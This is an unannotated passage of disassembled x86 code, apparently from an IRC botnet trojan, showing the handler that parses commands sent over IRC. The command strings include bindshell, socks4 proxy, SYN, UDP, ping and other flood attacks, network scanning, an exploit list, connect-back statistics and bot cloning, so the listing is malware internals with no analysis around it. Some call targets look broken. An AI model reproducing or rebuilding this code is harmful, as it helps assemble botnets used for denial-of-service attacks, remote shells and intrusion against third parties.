loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C914
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE58
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8F8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8F0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8D8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42C89C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C858

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_42C7F8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C7C8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C794
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42923C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D160

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42923C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA68 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D178[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D160[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C750 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA64 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA64 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C6A4

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C67C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C660
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C630
		push	offset dword_42C624
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C604
		push	offset dword_42C5F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5DC
		push	offset dword_42C5D0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C5BC
		push	offset dword_42C5B0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C594
		push	offset dword_42C584
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C568
		push	offset dword_42C558
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C540
		push	offset dword_42C534
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5DC
		push	offset dword_42C5D0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C5BC
		push	offset dword_42C5B0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C51C
		push	offset dword_42C510
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C504
		push	offset dword_42C4F8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C568
		push	offset dword_42C558
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C540
		push	offset dword_42C534
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4E8
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C4C8
		push	offset dword_42C4B8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C594
		push	offset dword_42C584
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C484
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4E8
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C4C8
		push	offset dword_42C4B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C51C
		push	offset dword_42C510
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C504
		push	offset dword_42C4F8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C43C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C3C8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C3A8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2E4
		jnz	short loc_403191
		mov	eax, offset unk_42C2BC

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
